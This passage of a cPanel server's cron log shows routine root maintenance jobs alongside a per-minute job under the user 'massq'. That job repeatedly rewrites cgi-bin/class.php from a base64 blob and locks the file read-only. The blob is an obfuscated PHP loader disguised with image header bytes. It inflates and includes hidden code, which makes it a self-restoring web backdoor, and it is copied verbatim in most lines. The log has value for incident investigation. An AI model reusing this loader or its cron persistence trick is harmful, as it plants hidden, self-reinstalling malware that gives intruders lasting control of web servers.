QUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:09:01 server CROND[31337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:09:01 server CROND[31338]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 01:10:01 server CROND[31393]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 01:10:01 server CROND[31394]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 01:10:01 server CROND[31395]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 01:10:01 server CROND[31396]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:11:01 server CROND[31563]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:12:01 server CROND[31720]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 01:12:01 server CROND[31721]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:13:01 server CROND[31812]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:14:01 server CROND[31874]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:15:01 server CROND[31916]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 01:15:01 server CROND[31917]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 01:15:01 server CROND[31915]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:16:01 server CROND[32016]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:17:01 server CROND[32065]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:18:01 server CROND[32225]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:19:01 server CROND[32279]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:20:01 server CROND[32334]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 01:20:01 server CROND[32335]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 01:20:01 server CROND[32336]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 01:20:01 server CROND[32337]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 01:20:01 server CROND[32345]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:21:01 server CROND[32446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:22:01 server CROND[32497]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 